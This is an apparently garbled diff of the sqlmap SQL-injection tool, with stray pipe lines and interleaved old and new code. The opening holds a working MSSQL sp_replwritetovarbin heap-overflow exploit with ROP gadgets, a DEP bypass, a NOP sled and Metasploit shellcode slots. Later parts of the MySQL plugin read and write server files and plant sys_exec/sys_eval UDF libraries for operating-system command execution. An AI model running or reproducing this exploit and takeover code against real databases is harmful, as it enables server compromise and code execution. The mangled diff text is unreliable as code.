shellcodeChar = ""
|
||||||
|
hexStr = binascii.hexlify(self.shellcodeString[:-1])
|
||||||
|
|
||||||
|
for hexPair in range(0, len(hexStr), 2):
|
||||||
|
shellcodeChar += "CHAR(0x%s)+" % hexStr[hexPair:hexPair+2]
|
||||||
|
|
||||||
|
shellcodeChar = shellcodeChar[:-1]
|
||||||
|
|
||||||
self.spExploit = """
|
self.spExploit = """
|
||||||
DECLARE @buf NVARCHAR(4000),
|
DECLARE @buf NVARCHAR(4000),
|
||||||
@val NVARCHAR(4),
|
@val NVARCHAR(4),
|
||||||
@counter INT
|
@counter INT
|
||||||
SET @buf = '
|
SET @buf = '
|
||||||
declare @retcode int,
|
DECLARE @retcode int, @end_offset int, @vb_buffer varbinary, @vb_bufferlen int
|
||||||
@end_offset int,
|
EXEC master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
|
||||||
@vb_buffer varbinary,
|
|
||||||
@vb_bufferlen int
|
|
||||||
exec master.dbo.sp_replwritetovarbin 347, @end_offset output, @vb_buffer output, @vb_bufferlen output,'''
|
|
||||||
SET @val = CHAR(0x41)
|
SET @val = CHAR(0x41)
|
||||||
SET @counter = 0
|
SET @counter = 0
|
||||||
WHILE @counter < 3320
|
WHILE @counter < 3320
|
||||||
BEGIN
|
BEGIN
|
||||||
SET @counter = @counter + 1
|
SET @counter = @counter + 1
|
||||||
IF @counter = 411
|
IF @counter = 411
|
||||||
BEGIN
|
BEGIN
|
||||||
/* Return address */
|
/* pointer to call [ecx+8] */
|
||||||
SET @buf = @buf + %s
|
SET @buf = @buf + %s
|
||||||
|
|
||||||
/* Nopsled */
|
/* push ebp, pop esp, ret 4 */
|
||||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
SET @buf = @buf + %s
|
||||||
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
||||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
||||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
||||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
||||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
||||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
||||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
||||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
||||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
||||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
||||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+
|
|
||||||
CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
|
||||||
|
|
||||||
/* Metasploit shellcode stage 1 */
|
/* push ecx, pop esp, pop ebp, retn 8 */
|
||||||
SET @buf = @buf + %s
|
SET @buf = @buf + %s
|
||||||
|
|
||||||
/* Unroll the stack and return */
|
/* Garbage */
|
||||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
SET @buf = @buf + CHAR(0x51)+CHAR(0x51)+CHAR(0x51)+CHAR(0x51)
|
||||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
|
||||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
|
||||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
|
||||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
|
||||||
CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+CHAR(0x5e)+
|
|
||||||
CHAR(0xc3)
|
|
||||||
|
|
||||||
SET @counter = @counter + 302
|
/* retn 1c */
|
||||||
SET @val = CHAR(0x43)
|
SET @buf = @buf + %s
|
||||||
CONTINUE
|
|
||||||
END
|
/* retn 1c */
|
||||||
SET @buf = @buf + @val
|
SET @buf = @buf + %s
|
||||||
|
|
||||||
|
/* anti DEP */
|
||||||
|
SET @buf = @buf + %s
|
||||||
|
|
||||||
|
/* jmp esp */
|
||||||
|
SET @buf = @buf + %s
|
||||||
|
|
||||||
|
/* jmp esp */
|
||||||
|
SET @buf = @buf + %s
|
||||||
|
|
||||||
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||||
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||||
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||||
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||||
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||||
|
SET @buf = @buf + CHAR(0x90)+CHAR(0x90)+CHAR(0x90)+CHAR(0x90)
|
||||||
|
|
||||||
|
set @buf = @buf + CHAR(0x64)+CHAR(0x8B)+CHAR(0x25)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)+CHAR(0x00)
|
||||||
|
set @buf = @buf + CHAR(0x8B)+CHAR(0xEC)
|
||||||
|
set @buf = @buf + CHAR(0x83)+CHAR(0xEC)+CHAR(0x20)
|
||||||
|
|
||||||
|
/* Metasploit shellcode */
|
||||||
|
SET @buf = @buf + %s
|
||||||
|
|
||||||
|
SET @buf = @buf + CHAR(0x6a)+CHAR(0x00)+char(0xc3)
|
||||||
|
SET @counter = @counter + 302
|
||||||
|
SET @val = CHAR(0x43)
|
||||||
|
CONTINUE
|
||||||
|
END
|
||||||
|
SET @buf = @buf + @val
|
||||||
END
|
END
|
||||||
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
|
SET @buf = @buf + ''',''33'',''34'',''35'',''36'',''37'',''38'',''39'',''40'',''41'''
|
||||||
EXEC master..sp_executesql @buf
|
EXEC master..sp_executesql @buf
|
||||||
""" % (retAddr, self.shellcodeChar)
|
""" % (addrs[0], addrs[1], addrs[2], addrs[3], addrs[4], addrs[5], addrs[6], addrs[7], shellcodeChar)
|
||||||
|
|
||||||
self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
|
self.spExploit = self.spExploit.replace(" ", "").replace("\n", " ")
|
||||||
self.spExploit = urlencode(self.spExploit, convall=True)
|
self.spExploit = urlencode(self.spExploit, convall=True)
|
||||||
|
|||||||
@@ -22,19 +22,15 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
|||||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from lib.core.agent import agent
|
from lib.core.agent import agent
|
||||||
from lib.core.common import fileToStr
|
|
||||||
from lib.core.common import formatDBMSfp
|
from lib.core.common import formatDBMSfp
|
||||||
from lib.core.common import formatFingerprint
|
from lib.core.common import formatFingerprint
|
||||||
from lib.core.common import getHtmlErrorFp
|
from lib.core.common import getHtmlErrorFp
|
||||||
from lib.core.common import randomInt
|
from lib.core.common import randomInt
|
||||||
from lib.core.common import randomStr
|
from lib.core.common import randomStr
|
||||||
from lib.core.common import readInput
|
|
||||||
from lib.core.data import conf
|
from lib.core.data import conf
|
||||||
from lib.core.data import kb
|
from lib.core.data import kb
|
||||||
from lib.core.data import logger
|
from lib.core.data import logger
|
||||||
@@ -49,7 +45,6 @@ from lib.request import inject
|
|||||||
from lib.request.connect import Connect as Request
|
from lib.request.connect import Connect as Request
|
||||||
from lib.techniques.inband.union.test import unionTest
|
from lib.techniques.inband.union.test import unionTest
|
||||||
from lib.techniques.inband.union.use import unionUse
|
from lib.techniques.inband.union.use import unionUse
|
||||||
from lib.techniques.outband.stacked import stackedTest
|
|
||||||
|
|
||||||
from plugins.generic.enumeration import Enumeration
|
from plugins.generic.enumeration import Enumeration
|
||||||
from plugins.generic.filesystem import Filesystem
|
from plugins.generic.filesystem import Filesystem
|
||||||
@@ -57,15 +52,21 @@ from plugins.generic.fingerprint import Fingerprint
|
|||||||
from plugins.generic.misc import Miscellaneous
|
from plugins.generic.misc import Miscellaneous
|
||||||
from plugins.generic.takeover import Takeover
|
from plugins.generic.takeover import Takeover
|
||||||
|
|
||||||
|
|
||||||
class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||||
"""
|
"""
|
||||||
This class defines MySQL methods
|
This class defines MySQL methods
|
||||||
"""
|
"""
|
||||||
|
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
self.__basedir = None
|
self.__basedir = None
|
||||||
self.excludeDbsList = MYSQL_SYSTEM_DBS
|
self.__datadir = None
|
||||||
|
self.excludeDbsList = MYSQL_SYSTEM_DBS
|
||||||
|
self.sysUdfs = {
|
||||||
|
# UDF name: UDF return data-type
|
||||||
|
"sys_exec": { "return": "int" },
|
||||||
|
"sys_eval": { "return": "string" },
|
||||||
|
"sys_bineval": { "return": "int" }
|
||||||
|
}
|
||||||
|
|
||||||
Enumeration.__init__(self, "MySQL")
|
Enumeration.__init__(self, "MySQL")
|
||||||
Filesystem.__init__(self)
|
Filesystem.__init__(self)
|
||||||
@@ -73,7 +74,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
|
|
||||||
unescaper.setUnescape(MySQLMap.unescape)
|
unescaper.setUnescape(MySQLMap.unescape)
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def unescape(expression, quote=True):
|
def unescape(expression, quote=True):
|
||||||
if quote:
|
if quote:
|
||||||
@@ -107,7 +107,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
|
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def escape(expression):
|
def escape(expression):
|
||||||
while True:
|
while True:
|
||||||
@@ -131,8 +130,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
expression = expression.replace(old, escaped)
|
expression = expression.replace(old, escaped)
|
||||||
|
|
||||||
return expression
|
return expression
|
||||||
|
|
||||||
|
|
||||||
def __commentCheck(self):
|
def __commentCheck(self):
|
||||||
infoMsg = "executing MySQL comment injection fingerprint"
|
infoMsg = "executing MySQL comment injection fingerprint"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -142,21 +140,22 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result != True:
|
if not result:
|
||||||
warnMsg = "unable to perform MySQL comment injection"
|
warnMsg = "unable to perform MySQL comment injection"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
# MySQL valid versions updated on 02/2009
|
# MySQL valid versions updated on 12/2009
|
||||||
versions = (
|
versions = (
|
||||||
(32200, 32233), # MySQL 3.22
|
(32200, 32233), # MySQL 3.22
|
||||||
(32300, 32359), # MySQL 3.23
|
(32300, 32359), # MySQL 3.23
|
||||||
(40000, 40031), # MySQL 4.0
|
(40000, 40031), # MySQL 4.0
|
||||||
(40100, 40122), # MySQL 4.1
|
(40100, 40122), # MySQL 4.1
|
||||||
(50000, 50077), # MySQL 5.0
|
(50000, 50089), # MySQL 5.0
|
||||||
(50100, 50132), # MySQL 5.1
|
(50100, 50141), # MySQL 5.1
|
||||||
(60000, 60009), # MySQL 6.0
|
(50400, 50401), # MySQL 5.4
|
||||||
|
(60000, 60010), # MySQL 6.0
|
||||||
)
|
)
|
||||||
|
|
||||||
for element in versions:
|
for element in versions:
|
||||||
@@ -170,7 +169,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
payload = agent.payload(newValue=query)
|
payload = agent.payload(newValue=query)
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result == True:
|
if result:
|
||||||
if not prevVer:
|
if not prevVer:
|
||||||
prevVer = version
|
prevVer = version
|
||||||
|
|
||||||
@@ -187,7 +186,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
|
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
def getFingerprint(self):
|
def getFingerprint(self):
|
||||||
value = ""
|
value = ""
|
||||||
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
wsOsFp = formatFingerprint("web server", kb.headersFp)
|
||||||
@@ -208,7 +206,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
value += actVer
|
value += actVer
|
||||||
return value
|
return value
|
||||||
|
|
||||||
# TODO: comment injection fingerprint is broken, fix
|
|
||||||
comVer = self.__commentCheck()
|
comVer = self.__commentCheck()
|
||||||
blank = " " * 15
|
blank = " " * 15
|
||||||
value += "active fingerprint: %s" % actVer
|
value += "active fingerprint: %s" % actVer
|
||||||
@@ -233,7 +230,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
|
|
||||||
return value
|
return value
|
||||||
|
|
||||||
|
|
||||||
def checkDbms(self):
|
def checkDbms(self):
|
||||||
"""
|
"""
|
||||||
References for fingerprint:
|
References for fingerprint:
|
||||||
@@ -262,14 +258,14 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
|
payload = agent.fullPayload(" AND CONNECTION_ID()=CONNECTION_ID()")
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result == True:
|
if result:
|
||||||
infoMsg = "confirming MySQL"
|
infoMsg = "confirming MySQL"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
payload = agent.fullPayload(" AND ISNULL(1/0)")
|
payload = agent.fullPayload(" AND ISNULL(1/0)")
|
||||||
result = Request.queryPage(payload)
|
result = Request.queryPage(payload)
|
||||||
|
|
||||||
if result != True:
|
if not result:
|
||||||
warnMsg = "the back-end DMBS is not MySQL"
|
warnMsg = "the back-end DMBS is not MySQL"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
@@ -348,8 +344,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
|
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
|
||||||
def checkDbmsOs(self, detailed=False):
|
def checkDbmsOs(self, detailed=False):
|
||||||
if kb.os:
|
if kb.os:
|
||||||
return
|
return
|
||||||
@@ -357,7 +352,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
infoMsg = "fingerprinting the back-end DBMS operating system"
|
infoMsg = "fingerprinting the back-end DBMS operating system"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
|
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
|
||||||
|
|
||||||
datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False)
|
datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False)
|
||||||
@@ -370,14 +365,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
infoMsg = "the back-end DBMS operating system is %s" % kb.os
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if detailed == False:
|
|
||||||
self.cleanup(onlyFileTbl=True)
|
|
||||||
|
|
||||||
return
|
|
||||||
|
|
||||||
self.cleanup(onlyFileTbl=True)
|
self.cleanup(onlyFileTbl=True)
|
||||||
|
|
||||||
|
|
||||||
def unionReadFile(self, rFile):
|
def unionReadFile(self, rFile):
|
||||||
infoMsg = "fetching file: '%s'" % rFile
|
infoMsg = "fetching file: '%s'" % rFile
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
@@ -385,13 +374,12 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile)
|
result = inject.getValue("SELECT HEX(LOAD_FILE('%s'))" % rFile)
|
||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
|
||||||
def stackedReadFile(self, rFile):
|
def stackedReadFile(self, rFile):
|
||||||
infoMsg = "fetching file: '%s'" % rFile
|
infoMsg = "fetching file: '%s'" % rFile
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
|
self.createSupportTbl(self.fileTblName, self.tblField, "longtext")
|
||||||
self.getRemoteTempPath()
|
self.getRemoteTempPath()
|
||||||
|
|
||||||
tmpFile = "%s/sqlmapfilehex%s" % (conf.tmpPath, randomStr(lowercase=True))
|
tmpFile = "%s/sqlmapfilehex%s" % (conf.tmpPath, randomStr(lowercase=True))
|
||||||
@@ -427,8 +415,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3)
|
result = inject.getValue("SELECT %s FROM %s" % (self.tblField, self.fileTblName), sort=False, resumeValue=False, charsetType=3)
|
||||||
|
|
||||||
return result
|
return result
|
||||||
|
|
||||||
|
|
||||||
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
def unionWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
logger.debug("encoding file to its hexadecimal string value")
|
logger.debug("encoding file to its hexadecimal string value")
|
||||||
|
|
||||||
@@ -456,18 +443,17 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
|
|
||||||
conf.paramFalseCond = oldParamFalseCond
|
conf.paramFalseCond = oldParamFalseCond
|
||||||
|
|
||||||
if confirm == True:
|
if confirm:
|
||||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||||
|
|
||||||
|
|
||||||
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
def stackedWriteFile(self, wFile, dFile, fileType, confirm=True):
|
||||||
debugMsg = "creating a support table to write the hexadecimal "
|
debugMsg = "creating a support table to write the hexadecimal "
|
||||||
debugMsg += "encoded file to"
|
debugMsg += "encoded file to"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
|
self.createSupportTbl(self.fileTblName, self.tblField, "longblob")
|
||||||
|
|
||||||
logger.debug("encoding file to its hexadecimal string value")
|
logger.debug("encoding file to its hexadecimal string value")
|
||||||
fcEncodedList = self.fileEncode(wFile, "hex", False)
|
fcEncodedList = self.fileEncode(wFile, "hex", False)
|
||||||
|
|
||||||
debugMsg = "forging SQL statements to write the hexadecimal "
|
debugMsg = "forging SQL statements to write the hexadecimal "
|
||||||
@@ -477,7 +463,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
sqlQueries = self.fileToSqlQueries(fcEncodedList)
|
sqlQueries = self.fileToSqlQueries(fcEncodedList)
|
||||||
|
|
||||||
logger.debug("inserting the hexadecimal encoded file to the support table")
|
logger.debug("inserting the hexadecimal encoded file to the support table")
|
||||||
|
|
||||||
for sqlQuery in sqlQueries:
|
for sqlQuery in sqlQueries:
|
||||||
inject.goStacked(sqlQuery)
|
inject.goStacked(sqlQuery)
|
||||||
|
|
||||||
@@ -485,122 +471,92 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
|||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
|
|
||||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/select.html
|
||||||
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile))
|
inject.goStacked("SELECT %s FROM %s INTO DUMPFILE '%s'" % (self.tblField, self.fileTblName, dFile), silent=True)
|
||||||
|
|
||||||
if confirm == True:
|
if confirm:
|
||||||
self.askCheckWrittenFile(wFile, dFile, fileType)
|
self.askCheckWrittenFile(wFile, dFile, fileType)
|
||||||
|
|
||||||
|
def udfSetRemotePath(self):
|
||||||
def udfInit(self):
|
|
||||||
self.getVersionFromBanner()
|
self.getVersionFromBanner()
|
||||||
|
|
||||||
banVer = kb.bannerFp["dbmsVersion"]
|
banVer = kb.bannerFp["dbmsVersion"]
|
||||||
dFile = None
|
|
||||||
wFile = paths.SQLMAP_UDF_PATH
|
|
||||||
lib = "libsqlmapudf%s" % randomStr(lowercase=True)
|
|
||||||
|
|
||||||
|
# On Windows
|
||||||
if kb.os == "Windows":
|
if kb.os == "Windows":
|
||||||
wFile += "/mysql/windows/lib_mysqludf_sys.dll"
|
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
||||||
libExt = "dll"
|
if banVer >= "5.1.19":
|
||||||
|
if self.__basedir is None:
|
||||||
|
logger.info("retrieving MySQL base directory absolute path")
|
||||||
|
|
||||||
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
|
||||||
|
self.__basedir = inject.getValue("SELECT @@basedir")
|
||||||
|
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
|
||||||
|
|
||||||
|
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
|
||||||
|
kb.os = "Windows"
|
||||||
|
|
||||||
|
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
||||||
|
self.udfRemoteFile = "%s/lib/plugin/%s.%s" % (self.__basedir, self.udfSharedLibName, self.udfSharedLibExt)
|
||||||
|
|
||||||
|
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
|
||||||
|
|
||||||
|
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
||||||
|
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
||||||
|
else:
|
||||||
|
#logger.debug("retrieving MySQL data directory absolute path")
|
||||||
|
|
||||||
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
||||||
|
#self.__datadir = inject.getValue("SELECT @@datadir")
|
||||||
|
|
||||||
|
# NOTE: specifying the relative path as './udf.dll'
|
||||||
|
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
||||||
|
self.__datadir = "."
|
||||||
|
self.__datadir = os.path.normpath(self.__datadir.replace("\\", "/"))
|
||||||
|
|
||||||
|
if re.search("[\w]\:\/", self.__datadir, re.I):
|
||||||
|
kb.os = "Windows"
|
||||||
|
|
||||||
|
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
||||||
|
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
|
||||||
|
self.udfRemoteFile = "%s/%s.%s" % (self.__datadir, self.udfSharedLibName, self.udfSharedLibExt)
|
||||||
|
|
||||||
|
# On Linux
|
||||||
else:
|
else:
|
||||||
wFile += "/mysql/linux/lib_mysqludf_sys.so"
|
# The SO can be in either /lib, /usr/lib or one of the
|
||||||
libExt = "so"
|
# paths specified in /etc/ld.so.conf file, none of these
|
||||||
|
# paths are writable by mysql user by default
|
||||||
|
self.udfRemoteFile = "/usr/lib/%s.%s" % (self.udfSharedLibName, self.udfSharedLibExt)
|
||||||
|
|
||||||
|
def udfCreateFromSharedLib(self, udf, inpRet):
|
||||||
|
if udf in self.udfToCreate:
|
||||||
|
logger.info("creating UDF '%s' from the binary UDF file" % udf)
|
||||||
|
|
||||||
for udf in ( "sys_exec", "sys_eval" ):
|
ret = inpRet["return"]
|
||||||
if udf in self.createdUdf:
|
|
||||||
continue
|
|
||||||
|
|
||||||
logger.info("checking if %s UDF already exist" % udf)
|
# Reference: http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
||||||
|
inject.goStacked("DROP FUNCTION %s" % udf)
|
||||||
query = agent.forgeCaseStatement("(SELECT name FROM mysql.func WHERE name='%s' LIMIT 0, 1)='%s'" % (udf, udf))
|
inject.goStacked("CREATE FUNCTION %s RETURNS %s SONAME '%s.%s'" % (udf, ret, self.udfSharedLibName, self.udfSharedLibExt))
|
||||||
exists = inject.getValue(query, resumeValue=False, unpack=False)
|
|
||||||
|
|
||||||
if exists == "1":
|
|
||||||
message = "%s UDF already exists, do you " % udf
|
|
||||||
message += "want to overwrite it? [y/N] "
|
|
||||||
output = readInput(message, default="N")
|
|
||||||
|
|
||||||
if output and output in ("y", "Y"):
|
|
||||||
self.udfToCreate.add(udf)
|
|
||||||
else:
|
|
||||||
self.udfToCreate.add(udf)
|
|
||||||
|
|
||||||
if len(self.udfToCreate) > 0:
|
|
||||||
# On Windows
|
|
||||||
if kb.os == "Windows":
|
|
||||||
# On MySQL 5.1 >= 5.1.19 and on any version of MySQL 6.0
|
|
||||||
if banVer >= "5.1.19":
|
|
||||||
if self.__basedir == None:
|
|
||||||
logger.info("retrieving MySQL base directory absolute path")
|
|
||||||
|
|
||||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_basedir
|
|
||||||
self.__basedir = inject.getValue("SELECT @@basedir")
|
|
||||||
self.__basedir = os.path.normpath(self.__basedir.replace("\\", "/"))
|
|
||||||
|
|
||||||
if re.search("^[\w]\:[\/\\\\]+", self.__basedir, re.I):
|
|
||||||
kb.os = "Windows"
|
|
||||||
|
|
||||||
# The DLL must be in C:\Program Files\MySQL\MySQL Server 5.1\lib\plugin
|
|
||||||
dFile = "%s/lib/plugin/%s.%s" % (self.__basedir, lib, libExt)
|
|
||||||
|
|
||||||
logger.warn("this will only work if the database administrator created manually the '%s/lib/plugin' subfolder" % self.__basedir)
|
|
||||||
|
|
||||||
# On MySQL 4.1 < 4.1.25 and on MySQL 4.1 >= 4.1.25 with NO plugin_dir set in my.ini configuration file
|
|
||||||
# On MySQL 5.0 < 5.0.67 and on MySQL 5.0 >= 5.0.67 with NO plugin_dir set in my.ini configuration file
|
|
||||||
else:
|
|
||||||
#logger.debug("retrieving MySQL data directory absolute path")
|
|
||||||
|
|
||||||
# Reference: http://dev.mysql.com/doc/refman/5.1/en/server-options.html#option_mysqld_datadir
|
|
||||||
#datadir = inject.getValue("SELECT @@datadir")
|
|
||||||
|
|
||||||
# NOTE: specifying the relative path as './udf.dll'
|
|
||||||
# saves in @@datadir on both MySQL 4.1 and MySQL 5.0
|
|
||||||
datadir = "."
|
|
||||||
datadir = os.path.normpath(datadir.replace("\\", "/"))
|
|
||||||
|
|
||||||
if re.search("[\w]\:\/", datadir, re.I):
|
|
||||||
kb.os = "Windows"
|
|
||||||
|
|
||||||
# The DLL can be in either C:\WINDOWS, C:\WINDOWS\system,
|
|
||||||
# C:\WINDOWS\system32, @@basedir\bin or @@datadir
|
|
||||||
dFile = "%s/%s.%s" % (datadir, lib, libExt)
|
|
||||||
|
|
||||||
# On Linux
|
|
||||||
else:
|
|
||||||
